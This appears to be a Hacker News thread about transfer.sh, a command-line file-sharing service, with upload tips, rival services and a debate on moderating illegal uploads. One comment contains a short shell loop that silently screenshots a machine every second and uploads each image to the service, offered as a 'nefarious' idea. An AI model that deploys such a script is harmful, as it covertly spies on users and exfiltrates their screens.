124 comments

[ 128 ms ] story [ 513 ms ] thread
Neat idea, and props for the https. Are the files encrypted on the server?
There's an example on how to encrypt the files before sending them to the server:

  # Encrypt files with password using gpg 
  $ cat /tmp/hello.txt|gpg -ac -o-|curl -X PUT --upload-file "-" https://transfer.sh/test.txt 
  
  # Download and decrypt 
  $ curl https://transfer.sh/1lDau/test.txt|gpg -o- > /tmp/hello.txt
Exactly, who trusts server side encryption anyway?
The first cat does absolutely nothing in your example.
are you sure? how else would you pipe to GPG?
Just redirect gpg's input from the file?

    gpg ... < hello.txt | curl ...
Its stdin will be the file instead of a pipe, but few programs care about the difference and fewer still in such a way that you'd prefer to use the pipe.
(comment deleted)
Why give that elaborate command line call instead of the clearer, simpler one in the example?

    curl --upload-file ./hello.txt https://transfer.sh/hello.txt
In any case - cool! Good domain name too.
I think the point is to illustrate that you can pipe things into it. There exist programs that work on files, and work much worse or not at all on standard input; this example thus demonstrates more power.

(Though, alluded to below, the "-X PUT" may be totally superfluous.)

The pipe is into curl, has nothing to do with the website itself
The website must support the feature. With `--upload-file` curl sends the `Content-Length` header; with the pipe it doesn’t.
You can do that with pure pipes, without cat:

    foo < input
This replaces foo's stdin with a pipe reading from input.
(comment deleted)
Or like this with HTTPie[0]:

    http PUT https://transfer.sh/hello.txt < ./hello.txt
[0] http://httpie.org
Because unlike these other examples, this one requires you to install something
"requires you to install something" is relative, depending on what's installed on your system. This example is a continuation of the 'elaborate vs. simpler command' theme of this thread for people who prefer HTTPie.
Just FYI, it would have been helpful if you had disclosed that you're the author of HTTPie.
I like using chunk.io for this purpose too

  $ curl -T path/to/file chunk.io

    chunk.io uses an invalid security certificate. The certificate is only valid for the following names: *.herokuapp.com, herokuapp.com Error code: SSL_ERROR_BAD_CERT_DOMAIN
I've signed up for the mailing list in the hopes of getting an actual contact email for the author/s.
Yeah! Me too. /s
What's the advantage of doing this instead of just using SCP or SFTP?
With SFTP and SCP you need to run a daemon on the hosting machine, and create credentials for the other user to login so it's a bunch of extra steps.

For a lot of people with firewalls and no root / admin access, it becomes a major pain.

It's kinda funny that everything runs on port 80/443 now a days because of this.
People who doesn't even know what a text shell is can just drag a file icon onto the page to upload. No accounts or passwords are involved at either end, so it's about as frictionless as possible.
Obligatory xkcd : https://xkcd.com/949/
Just drop it on one of the folders in your Dropbox that's also served by IIS on one of your boxen. Then simply link from the appropriate subdomain on your personal domain. Been doing this for 15 years, dunno why nobody else does.
Cool story bro. Guess you were on a very early dropbox beta.
Regarding their tagline: “Easy file sharing from the command line”, this is also possible with Yandex Disk¹ (specifically, the Linux version here²). It also has less limitations than transfer.sh, specifically:

• 10 GB of space for free (with a 10 GB filesize limitation³) over transfer.sh’s 5 GB

• no file expiration date, unlike transfer.sh’s 14-day expiration

――――――

¹ — https://disk.yandex.com/

² — https://repo.yandex.ru/yandex-disk/

³ — https://en.wikipedia.org/wiki/Comparison_of_file_hosting_ser...

Yeah, but the thing is that with transfer.sh you don't have to install any applications on your machine. And if you look at the code, you'll see that the max size isn't being enforced.
I might be unusual here, but I typically get stuck when trying to copy files off a remote Windows machine. Most recently was an aged Windows server with a version of internet explorer so old that all the modern file upload sites (e.g. https://file.io/) seemed to have JavaScript issues. Windows built in WebDAV support didn't work, because it's not installed on Windows server I think.

Can anyone come up with a way to use a service like this from an old version of Windows that lacks modern web browser, powershell and so on?

curl.exe / rsync.exe / winscp?
just transfer files from the old windows box using radmin or RDP
file.io has an API - you can just use curl for this
It'd be cool to have the ability to pipe stuff over the Internet from shell in real time like you would with SSH for instance. So I could do:

A$ curl --upload-file - http://blah < /proc/kmsg

B$ curl http://blah/uYsfVX

and see live stream of data on B.

That would be cool, but the devil is in the details. For one thing, does the "upload" wait for at least one "download" to connect? Or does "upload" go to a cache that is re-used for all subsequent downloads? What are the timeouts? E.g. how long would blah.com hold the upload connection open until (at least one) download opened up?

The other thing that makes it less cool is that it's a hack that would be better off not existing. The ideal case is that every device should have a unique ID, such that we can directly "subscribe" to anything on any device without using an intermediary (well, an application level intermediary anyway; you'll always be using link-level intermediaries). Such an ID might be IPv6, in which case such a service is trivially replaced with ordinary every day ssh/scp.

I think it should be as dumb and simple as possible and do nothing deviating from normal unix behavior (ie pipe). So it would cache only one chunk of data sent by A and start streaming to the first download request.
You can use netcat for that. Or Bash has built-in TCP support.
You can do that with netcat if either A or B are listening.
I do this fairly regularly.

    A$ tar cv * | nc -l -p 1234

    B$ nc a.example.net 1234 | tar xv
Or I might remove a 'v' and pipe through 'pv' to see the transfer rate and amount.
Well over the "Internet" kind of implies behind a firewall so the service would be a convenience to avoid setting up port forwarding etc.
VPN are a thing.

I recommend just installing cjdns and forwarding the home end. It also encrypts your traffic. You wouldn't want to netcat in cleartext over the internet.

You could always just pipe it through ssh or some other thing. Setting up openvpn or similar is nontrivial - even if you're lucky enough to have a static IP and enough spare time to make it work.
> Setting up openvpn or similar is nontrivial

Setting up cjdns is less work than setting up SSH.

I use sprunge [http://sprunge.us/] for the exact same purpose.

Normal usage: $ more c14.py | sprunge

And it outputs: http://sprunge.us/eCeM

The nice thing about sprunge is that you also have syntax highlighting: http://sprunge.us/eCeM?py

Appending a ?<lang> will syntax highlight the text according to the lang.

P.S.

To use a pipe with sprunge, put an alias in your .zshrc / .bashrc:

alias sprunge="curl -F 'sprunge=<-' http://sprunge.us"

and then use source ./zshrc ( or .bashrc ).

I think the newness about this is that they've released the code on github under MIT, so you can self-host the service if you want. I think none of the othe rprojects mentioned here have are opensource or have a slef-hosted version.
FYI The "-X PUT" argument is not doing what you think it is[1], and is superfluous since you're using "--upload-file".

You almost never really want "-X".

[1]: https://curl.haxx.se/docs/manpage.html#-X

Just to clarify your point, --upload-file with a trailing slash results in a POST and without a trailing slash it results in a PUT.
Right. -X overrides this default behavior without otherwise affecting the semantics of the request.
I have been using paste.click [0] for a while, it is similar to this. I use to share snippets of code, or screenshots

[0] http://paste.click/

I always wonder how sites like these deal with stuff like potentially hosting child porn/other content that is illegal to possess. Does DCMA safe harbor stuff cover it? (don't see a DCMA notice on the site)
I believe that DMCA safe harbor applies. If they're notified that they're hosting such content, then they have to remove it.
No. The safe harbor only applies to copyright infringement.
You can leave out the 'potentially'. I shut down a file sharing service specifically for that reason, it is just about impossible not to become a vector for the transmission of illegal or objectionable content. DMCA does not cover it, because the DMCA is about copyright, not about content that is illegal to possess regardless of how you got it. That said, the police (at least, the police here) is more than happy to work together with you to help keep the CP peddlers out but it's a losing battle, there are a very large number of them and you'll be hard pressed to work 24/7 all year long and since you can upload encrypted files you can't be sure of what's being transferred anyway.

Which is a good thing, after all what is being uploaded is strictly speaking none of my business but it automatically makes you complicit in roughly the same way that running a TOR exit node will make you complicit and I don't want any part of that. I'm perfectly ok with setting up useful services at very little or no fees at all but I refuse to become an unwitting and unwilling partner in other peoples illegal dealings.

Which is a pity.

We're lucky that some people are fine with becoming an unwilling partner since without them no internet, no phone, no email, no snail mail, no roads, no electricity, no open source software, no nothing. It's a sad fact of life that pretty much every useful technology, service or piece of infrastructure will be used for illegal dealings of some kind.
It's a matter of proportion to me. If a service is used predominantly to facilitate illegality then I see no reason to continue to run it.

The internet, phones, email, regular mail, roads, electricity, software and on on have predominantly good and productive uses. File sharing websites attract percentage wise more bad than good, at least more bad than what I'm comfortable with.

So in the end that's a moral call and in this case my decision was to shut it down because of the types of crimes involved and the number of criminals on the service totally outnumbered the 'good guys' and our ability to deal with the assholes was limited.

> If a service is used predominantly to facilitate illegality

I guess we should all stop using cash, then?

https://en.wikipedia.org/wiki/Contaminated_currency

It's obvious that you're trolling, but just in case you're not: Eventually you can expect a push against cash in the name of anti-terrorism and anti-crime campaigns. Obviously those will be founded in bull-shit but that's not going to stop it from happening. Whether or not it will succeed is mostly a matter of how it gets sold to the public.

As for how it is possible for all of the available currency to be contaminated with traces of drugs and yet that this does not need to prove that all (or even a majority) of the cash transactions done are drug related, I'm sure you're smart enough to figure that one out for yourself, but evidence such as this will figure prominently in the kind of discussion that will visit us some years into the future.

False analogy. Creating a file upload service with no authentication or no resources to keep it safe is like installing a fully loaded AK 47 at an intersection and hoping people would just use it to learn how it works or use in an emergency to shoot at criminals passing that intersection.

There are free file upload services and there are ways to upload from command line(1).

[1] https://github.com/andreafabrizi/Dropbox-Uploader

You cannot compare bytes on a disk with a gun. People don't die from transferring data.
https://www.microsoft.com/en-us/photodna

Microsoft provides an API which identifies child expoilting images.

I know. I helped them beta test that here in nl. Unfortunately it's not just still images. It's also videos, and encrypted still images and encrypted videos. Photodna comes into its own once you actually have an image.
How can you even test such a service legally?

This is a general problem with banning things instead of simply regulating them somehow. How would one scientifically study methamphetamine, for example, in a country where it is illegal to even possess it?

Without arguing for or against CP, what if I wanted to look up evidence that use of CP leads to increase or decrease of actual child abuse, without setting off red flags everywhere? As a Psych major, that sort of thing would interest me, for example.

> How can you even test such a service legally?

It's actually quite well designed and questions such as these were definitely taken into account during the design phase.

I came up with a similar scheme about 15 years ago (as a result of operating that file sharing service) and proposed to the local LE that we set up a service where a 'fingerprint' of an image could be tested against known bad images, and if an image tested positive it would be flagged for review (and on an exact match it would be automatically banned).

The local law enforcement officer thought it was a great idea but it would never fly because even the hashes of the images were considered off-limits for sharing with others and they'd have to share their database of hashes with me if I were to set this up (free of charge).

Eventually MS came up with PhotoDNA and they're too big to ignore.

So basically (probability of legal entity being a good actor) x (size of legal entity) must be >= some large number.

sigh, that's still less than ideal.

Agreed, but given the fact that this feeds into the legal system in a fairly direct way and that I'm only a 'one man shop' by their definition it makes good sense to insist on doing business with a larger party.

Where it goes haywire is that they then have to trust all the employees of that larger party as well but that's logic rather than CYA.

Yes, surprisingly I am more deeply concerned with the logic bit, lol
Have you thought that maybe you don't have to fight the cp?

    PS> cat myfile | out-string | iwr -Method Put -Uri https://transfer.sh/myfile.txt
(comment deleted)
This is very cool. I build a similar tool for entire web projects called surge.sh

    surge path/to/project example.com
This is actually very useful.
Idea where can such service be used for nefarious purposes:

  while true
  do 
    dt=$(date '+%d%m%Y%H:%M:%S');
    screencapture -x file$dt.png
    curl --upload-file ./file$dt.png https://transfer.sh/66nb8/capture$dt.png
    rm file$dt.png
    sleep 1
  done
If you can get that script to run on a user's machine, they're hosed whether or not this service exists. Curl or mail to an endpoint in the attacker's control would be equally effective.
Sorry, I did not intend to discount this service in any way. More like showing a practical use.
Love the idea. But the link always leads to a page with the file on it, not the file itself. Specially for picture sharing that's not really acceptable for me.
There are a lot of sites like this. The only thing that's sorta neat about this file is that the filesize limit is so high. Getting around the size limit is fairly easy by using split or something similar so that's not too big of a deal.

Others that come to mind are pomf.se clones like 1339.cf or comfy.moe and nekuneku's current site, uguu.se. Many paste services could also be used to achieve the same result, ix.io and sprunge.us come to mind.

http://ix.io/

Uploading a file: curl -F 'f:1=@file.ext' ix.io

ix.io is really meant for text only, or very small files (max of about 4MB).

[I'm friends with the author.]

You can use megatools to upload to a mega account from a command line, 50GB free, also encrypted.
Btw on mobile it's not clear which line is input and which line is output. Perhaps make them in slightly different colors.
Are the files being accepted by your service as multipart/form-data?